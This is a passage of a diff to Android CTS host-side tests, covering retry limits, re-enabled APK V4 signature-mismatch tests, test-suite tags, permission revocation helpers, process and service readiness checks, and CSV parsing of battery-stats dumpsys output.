system/core/rootdir/avb/q-developer-gsi.avbpubkey
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index cb76f326f66..cee6a39c46a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -76,7 +76,7 @@ public class AdoptableHostTest extends BaseHostJUnit4Test {
int attempt = 0;
boolean hasVirtualDisk = false;
String result = "";
- while (!hasVirtualDisk && attempt++ < 20) {
+ while (!hasVirtualDisk && attempt++ < 50) {
Thread.sleep(1000);
result = getDevice().executeShellCommand("sm list-disks adoptable").trim();
hasVirtualDisk = result.startsWith("disk:");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index ef44158e15f..3f353d07c94 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -810,8 +810,6 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen
"verifySignatures_withRotation_succeeds");
}
- // TODO(b/235407278): fix the prebuilts used for this test and enable it again
- /*
@CddTest(requirement="4/C-0-9")
public void testInstallV41WrongBlockId() throws Exception {
// V4 is only enabled on devices with Incremental feature
@@ -862,7 +860,6 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen
assertInstallV4FailsWithError("CtsSignatureQueryService_v2-tgt-33-wrongDigest.apk",
"APK digest in V4 signature does not match V2/V3");
}
- */
public void testInstallV3KeyRotationSigPerm() throws Exception {
// tests that a v3 signed APK can still get a signature permission from an app with its
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index ed22bab07b6..d6b736d5198 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -38,7 +38,9 @@ android_test_helper_app {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-documentsui",
+ "mts-mainline-infra",
+ "mts-mediaprovider",
"sts",
],
certificate: ":cts-testkey2",
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index b42c9ac5d8c..723d0632057 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -33,7 +33,9 @@ android_test_helper_app {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-documentsui",
+ "mts-mainline-infra",
+ "mts-mediaprovider",
"sts",
],
certificate: ":cts-testkey1",
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index 64a9cbc1fd6..7471d28219e 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -352,6 +352,9 @@ public class WriteExternalStorageTest extends AndroidTestCase {
continue;
}
assertDirReadWriteAccess(path);
+ for (final File dir : buildCommonChildDirs(path)) {
+ dir.mkdirs();
+ }
assertDirReadWriteAccess(buildCommonChildDirs(path));
}
}
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index fc355afc020..e9e13a8f3b2 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -18,6 +18,7 @@ package com.android.cts.host.blob;
import static com.google.common.truth.Truth.assertWithMessage;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
import com.android.tradefed.util.Pair;
@@ -133,12 +134,25 @@ abstract class BaseBlobStoreHostTest extends BaseHostJUnit4Test {
protected void addAssistRoleHolder(String pkgName, int userId) throws Exception {
final String cmd = String.format("cmd role add-role-holder "
+ "--user %d android.app.role.ASSISTANT %s", userId, pkgName);
- getDevice().executeShellCommand(cmd).trim();
+ runCommand(cmd);
}
protected void removeAssistRoleHolder(String pkgName, int userId) throws Exception {
final String cmd = String.format("cmd role remove-role-holder "
+ "--user %d android.app.role.ASSISTANT %s", userId, pkgName);
- getDevice().executeShellCommand(cmd).trim();
+ runCommand(cmd);
+ }
+
+ protected void revokePermission(String pkgName, String permissionName, int userId)
+ throws Exception {
+ final String cmd = String.format("cmd package revoke --user %d %s %s",
+ userId, pkgName, permissionName);
+ runCommand(cmd);
+ }
+
+ protected String runCommand(String command) throws Exception {
+ final String output = getDevice().executeShellCommand(command);
+ CLog.v("Output of cmd '" + command + "': '" + output.trim() + "'");
+ return output;
}
} \ No newline at end of file
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index ec13654ffb5..6731383398b 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -15,10 +15,10 @@
*/
package com.android.cts.host.blob;
-import static org.junit.Assume.assumeTrue;
-
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
import com.android.tradefed.invoker.TestInformation;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.AfterClassWithInfo;
@@ -35,6 +35,9 @@ import java.util.Map;
public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest {
private static final String TEST_CLASS = TARGET_PKG + ".DataCleanupTest";
+ private static final String PERM_ACCESS_BLOBS_ACROSS_USERS =
+ "android.permission.ACCESS_BLOBS_ACROSS_USERS";
+
private static int mPrimaryUserId;
private static int mSecondaryUserId;
@@ -58,6 +61,10 @@ public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest {
// want the ACCESS_BLOBS_ACROSS_USERS permission to be granted by default.
installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mPrimaryUserId);
installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mSecondaryUserId);
+ // Explicitly revoke the permission, in order to deal with
+ // http://b/233710271 which was causing the permission to be pre-granted.
+ revokePermission(TARGET_PKG_ASSIST, PERM_ACCESS_BLOBS_ACROSS_USERS, mPrimaryUserId);
+ revokePermission(TARGET_PKG_ASSIST, PERM_ACCESS_BLOBS_ACROSS_USERS, mSecondaryUserId);
}
@AfterClassWithInfo
diff --git a/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java
index 1bb14bdf7fe..c2e95a3ae63 100644
--- a/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java
@@ -266,6 +266,11 @@ public class AdbRootDependentCompilationTest extends BaseHostJUnit4Test {
"android.compilation.cts.appusedbyotherapp.MyActivity.method1()",
"android.compilation.cts.appusedbyotherapp.MyActivity.method2()");
+ executeCompile(APP_USED_BY_OTHER_APP_PACKAGE, "-m", "verify");
+ // The app should not be re-compiled with a worse compiler filter even if the odex file can
+ // be public after then.
+ assertThat(getCompilerFilter(odexFilePath)).isEqualTo("speed-profile");
+
DeviceTestRunOptions options = new DeviceTestRunOptions(APP_USING_OTHER_APP_PACKAGE);
options.setTestClassName(APP_USING_OTHER_APP_PACKAGE + ".UsingOtherAppTest");
options.setTestMethodName("useOtherApp");
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 0fc8b16bb27..e65bc932400 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -43,6 +43,7 @@ android_test_helper_app {
"androidx.legacy_legacy-support-v4",
"devicepolicy-deviceside-common",
"DpmWrapper",
+ "NeneInternal",
],
min_sdk_version: "21",
// tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index f30d29e88cb..95f5693d1c1 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.deviceowner">
- <uses-sdk android:minSdkVersion="20"/>
+ <uses-sdk android:minSdkVersion="29"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index eb5cc56a0da..7606b79211f 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -16,8 +16,6 @@
package com.android.cts.deviceowner;
-import static android.os.Process.BLUETOOTH_UID;
-
import static com.google.common.truth.Truth.assertWithMessage;
import android.bluetooth.BluetoothAdapter;
@@ -28,6 +26,7 @@ import android.os.UserManager;
import android.util.DebugUtils;
import android.util.Log;
+import com.android.bedstead.nene.TestApis;
import com.android.internal.util.ArrayUtils;
/**
@@ -134,11 +133,8 @@ public class BluetoothRestrictionTest extends BaseDeviceOwnerTest {
return;
}
- String bluetoothPackageName = mContext.getPackageManager()
- .getPackagesForUid(BLUETOOTH_UID)[0];
-
- ComponentName oppLauncherComponent = new ComponentName(
- bluetoothPackageName, OPP_LAUNCHER_CLASS);
+ ComponentName oppLauncherComponent =
+ new ComponentName(TestApis.bluetooth().findPackageName(), OPP_LAUNCHER_CLASS);
// First verify DISALLOW_BLUETOOTH.
testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH,
@@ -146,8 +142,8 @@ public class BluetoothRestrictionTest extends BaseDeviceOwnerTest {
// Verify DISALLOW_BLUETOOTH_SHARING which leaves bluetooth workable but the sharing
// component should be disabled.
- testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH_SHARING,
- oppLauncherComponent);
+ testOppDisabledWhenRestrictionSet(
+ UserManager.DISALLOW_BLUETOOTH_SHARING, oppLauncherComponent);
}
/** Verifies that a given restriction disables the bluetooth sharing component. */
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index 4da5fff7f0b..9c8a81d05f7 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -25,6 +25,8 @@ import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import java.util.ArrayList;
/**
@@ -41,6 +43,7 @@ public class UserControlDisabledPackagesTest extends BaseDeviceOwnerTest {
private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
private static final String SIMPLE_APP_ACTIVITY =
"com.android.cts.launcherapps.simpleapp.SimpleActivityImmediateExit";
+ private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp";
public void testSetUserControlDisabledPackages() throws Exception {
ArrayList<String> protectedPackages = new ArrayList<>();
@@ -86,14 +89,15 @@ public class UserControlDisabledPackagesTest extends BaseDeviceOwnerTest {
// Check if package is part of UserControlDisabledPackages before checking if
// package is stopped since it is a necessary condition to prevent stopping of
// package
-
assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
.containsExactly(SIMPLE_APP_PKG);
- assertPackageRunningState(/* running= */ true);
+ assertPackageRunningState(/* running= */ true,
+ InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1"));
}
public void testFgsStopWithUserControlEnabled() throws Exception {
- assertPackageRunningState(/* running= */ false);
+ assertPackageRunningState(/* running= */ false,
+ InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1"));
assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
@@ -120,9 +124,15 @@ public class UserControlDisabledPackagesTest extends BaseDeviceOwnerTest {
return pid.length() > 0;
}
- private void assertPackageRunningState(boolean shouldBeRunning) throws Exception {
+ private void assertPackageRunningState(boolean shouldBeRunning, String argPid)
+ throws Exception {
+ String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim();
+
+ final boolean samePid = pid.equals(argPid);
+ final boolean stillRunning = samePid && isPackageRunning(SIMPLE_APP_PKG);
+
assertWithMessage("Package %s running for user %s", SIMPLE_APP_PKG,
getCurrentUser().getIdentifier())
- .that(isPackageRunning(SIMPLE_APP_PKG)).isEqualTo(shouldBeRunning);
+ .that(stillRunning).isEqualTo(shouldBeRunning);
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index 376b76bf3ed..7a0a26be597 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -36,6 +36,7 @@ android_test_helper_app {
"androidx.legacy_legacy-support-v4",
"devicepolicy-deviceside-common",
"permission-test-util-lib",
+ "NeneInternal",
],
min_sdk_version: "27",
// tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 0a049c93f1a..267f56eec0c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.managedprofile">
- <uses-sdk android:minSdkVersion="27"/>
+ <uses-sdk android:minSdkVersion="29"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 18f0d7c53d7..ea418683cc3 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -15,8 +15,6 @@
*/
package com.android.cts.managedprofile;
-import static android.os.Process.BLUETOOTH_UID;
-
import android.app.UiAutomation;
import android.bluetooth.BluetoothAdapter;
import android.content.ComponentName;
@@ -32,6 +30,7 @@ import android.os.UserManager;
import androidx.test.InstrumentationRegistry;
+import com.android.bedstead.nene.TestApis;
import com.android.internal.util.ArrayUtils;
import junit.framework.TestCase;
@@ -113,8 +112,7 @@ public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
: new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED};
sUiAutomation.adoptShellPermissionIdentity(INTERACT_ACROSS_USERS_PERMISSION);
- String bluetoothPackageName = context.getPackageManager()
- .getPackagesForUid(BLUETOOTH_UID)[0];
+ String bluetoothPackageName = TestApis.bluetooth().findPackageName();
sUiAutomation.dropShellPermissionIdentity();
ComponentName oppLauncherComponent = new ComponentName(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
index 31f14cc3f61..1f42d469c97 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
@@ -16,7 +16,6 @@
package com.android.cts.devicepolicy;
-import com.android.ddmlib.Log.LogLevel;
import com.android.tradefed.log.LogUtil.CLog;
/**
@@ -33,6 +32,8 @@ public abstract class BaseLauncherAppsTest extends BaseDevicePolicyTest {
protected static final String LAUNCHER_TESTS_APK = "CtsLauncherAppsTests.apk";
protected static final String LAUNCHER_TESTS_SUPPORT_PKG =
"com.android.cts.launchertests.support";
+ protected static final String LAUNCHER_TESTS_SUPPORT_COMPONENT =
+ LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService";
protected static final String LAUNCHER_TESTS_SUPPORT_APK = "CtsLauncherAppsTestsSupport.apk";
protected void installTestApps(int userId) throws Exception {
@@ -49,7 +50,18 @@ public abstract class BaseLauncherAppsTest extends BaseDevicePolicyTest {
protected void startCallbackService(int userId) throws Exception {
String command = "am startservice --user " + userId
+ " -a " + LAUNCHER_TESTS_SUPPORT_PKG + ".REGISTER_CALLBACK "
- + LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService";
+ + LAUNCHER_TESTS_SUPPORT_COMPONENT;
CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
}
+
+ protected boolean isCallbackServiceReady() throws Exception {
+ String command = "dumpsys activity services " + LAUNCHER_TESTS_SUPPORT_COMPONENT
+ + " | grep 'app=ProcessRecord'";
+ String result = getDevice().executeShellCommand(command);
+ CLog.d("Check service started by " + command + ": " + result);
+ if (result.isEmpty()) {
+ return false;
+ }
+ return true;
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index c87a7f8d7f4..d1773d0e8e6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -70,6 +70,7 @@ public class DeviceOwnerTest extends BaseDeviceOwnerTest {
private static final String TEST_APP_LOCATION = "/data/local/tmp/cts/packageinstaller/";
private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount";
+ private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp";
private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
"CtsHasLauncherActivityApp.apk";
@@ -1059,13 +1060,16 @@ public class DeviceOwnerTest extends BaseDeviceOwnerTest {
*/
private void tryFgsStoppingProtectedPackage(int userId, boolean canUserStopPackage)
throws Exception {
+ String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim();
fgsStopPackageForUser(SIMPLE_APP_PKG, userId);
if (canUserStopPackage) {
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
- "testFgsStopWithUserControlEnabled");
+ "testFgsStopWithUserControlEnabled",
+ Collections.singletonMap(ARG_PID_BEFORE_STOP, pid));
} else {
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
- "testFgsStopWithUserControlDisabled");
+ "testFgsStopWithUserControlDisabled",
+ Collections.singletonMap(ARG_PID_BEFORE_STOP, pid));
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 73f62048605..6e9bae52468 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -104,6 +104,9 @@ public class LauncherAppsSingleUserTest extends BaseLauncherAppsTest {
}
installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
startCallbackService(mCurrentUserId);
+ while (!isCallbackServiceReady()) {
+ Thread.sleep(100);
+ }
getDevice().uninstallPackage(SIMPLE_APP_PKG);
runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
LAUNCHER_TESTS_CLASS,
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 11f24fad5d5..d6ac4851002 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -25,6 +25,7 @@ import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.StringReader;
+import java.util.ArrayList;
import java.util.HashSet;
import java.util.Set;
@@ -36,6 +37,41 @@ public class BatteryStatsDumpsysTest extends BaseDumpsysTest {
private static final String TEST_PKG = "com.android.cts.framestatstestapp";
/**
+ * Parse each line from output of dumpsys to handle special fields such as
+ * 'aaa,"bbb,ccc",ddd', to capture properly.
+ */
+ private static String[] parseCsv(String line) {
+ ArrayList<String> parts = new ArrayList<>();
+ String[] splitStrings = line.split(",", -1);
+ String s = "";
+ boolean escaping = false;
+ for (String splitString : splitStrings) {
+ if (escaping) {
+ s += "," + splitString;
+ } else {
+ if (splitString.startsWith("\"")) {
+ // Field start with ". Start escaping.
+ s = splitString;
+ escaping = true;
+ } else {
+ parts.add(splitString);
+ }
+ }
+ if (escaping && s.length() > 1 && s.endsWith("\"")) {
+ // Field end with ". Stop escaping.
+ parts.add(s.substring(1, s.length() - 1));
+ escaping = false;
+ }
+ }
+ if (escaping) {
+ // Unclosed escaping string. Add it anyway.
+ parts.add(s.substring(1));
+ }
+
+ return parts.toArray(new String[parts.size()]);
+ }
+
+ /**
* Tests the output of "dumpsys batterystats --checkin".
*
* @throws Exception
@@ -58,11 +94,7 @@ public class BatteryStatsDumpsysTest extends BaseDumpsysTest {
try {
- // With a default limit of 0, empty strings at the end are discarded.
- // We still consider the empty string as a valid value in some cases.
- // Using any negative number for the limit will preserve a trailing empty string.
- // @see String#split(String, int)
- String[] parts = line.split(",", -1);
+ String[] parts = parseCsv(line);
assertInteger(parts[0]); // old version
assertInteger(parts[1]); // UID
switch (parts[2]) { // aggregation type
diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS
index 88c9013b591..8e0766f968e 100644
--- a/hostsidetests/edi/OWNERS
+++ b/hostsidetests/edi/OWNERS
@@ -1,8 +1,5 @@
# Bug component: 47509
-aaronholden@google.com
-agathaman@google.com
-nickrose@google.com
-samlin@google.com
-
+anwenxu@google.com
+sehajgrover@google.com
# For cleanups and bug fixes
satayev@google.com #{LAST_RESORT_SUGGESTION}
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 070b44ddcf3..c07fa07eb9e 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -25,6 +25,11 @@
<option name="dynamic-config-name" value="cts-dynamic-config" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+ <option name="version" value="9.0_r1"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="media-download-only" value="true" />
</target_preparer>
@@ -32,11 +37,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
- <option name="version" value="9.0_r1"/>
- </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
<option name="src-dir" value="/sdcard/report-log-files/"/>
<option name="dest-dir" value="report-log-files/"/>
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index da0df31dcf1..0e2a887bc40 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -91,7 +91,7 @@ android_test_helper_app {
// Tag as a CTS artifact
test_suites: [
"general-tests",
- "mts",
+ "mts-mediaprovider",
"cts",
],
}
@@ -155,7 +155,7 @@ android_test_helper_app {
// Tag as a CTS artifact
test_suites: [
"general-tests",
- "mts",
+ "mts-mediaprovider",
"cts",
],
}
@@ -171,7 +171,7 @@ android_test_helper_app {
// Tag as a CTS artifact
test_suites: [
"general-tests",
- "mts",
+ "mts-mediaprovider",
"cts",
],
}
@@ -187,7 +187,7 @@ android_test_helper_app {
// Tag as a CTS artifact
test_suites: [
"general-tests",
- "mts",
+ "mts-mediaprovider",
"cts",
],
}
@@ -210,7 +210,7 @@ android_test_helper_app {
min_sdk_version: "29",
}
-android_test {
+android_test_helper_app {
name: "ScopedStorageTest",
manifest: "AndroidManifest.xml",
srcs: ["src/**/*.java"],
@@ -237,7 +237,7 @@ android_test {
],
}
-android_test {
+android_test_helper_app {
name: "LegacyStorageTest",
manifest: "legacy/AndroidManifest.xml",
srcs: ["legacy/src/**/*.java"],
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 717cf952a1b..6fbf5f325da 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -16,7 +16,7 @@
package android.scopedstorage.cts;
import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile;
import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_READ_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_WRITE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY;
@@ -253,7 +253,7 @@ public class ScopedStorageTestHelper extends Activity {
if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
if (EXIF_METADATA_QUERY.equals(queryType)) {
- intent.putExtra(queryType, getExifMetadata(new File(filePath)));
+ intent.putExtra(queryType, getExifMetadataFromFile(new File(filePath)));
}
} else {
throw new IllegalStateException(
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 099a0ab7276..f5c6af5b4a0 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -21,7 +21,7 @@ import static android.os.ParcelFileDescriptor.MODE_CREATE;
import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile;
import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
@@ -79,6 +79,7 @@ import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermi
import static android.scopedstorage.cts.lib.TestUtils.isAppInstalled;
import static android.scopedstorage.cts.lib.TestUtils.listAs;
import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
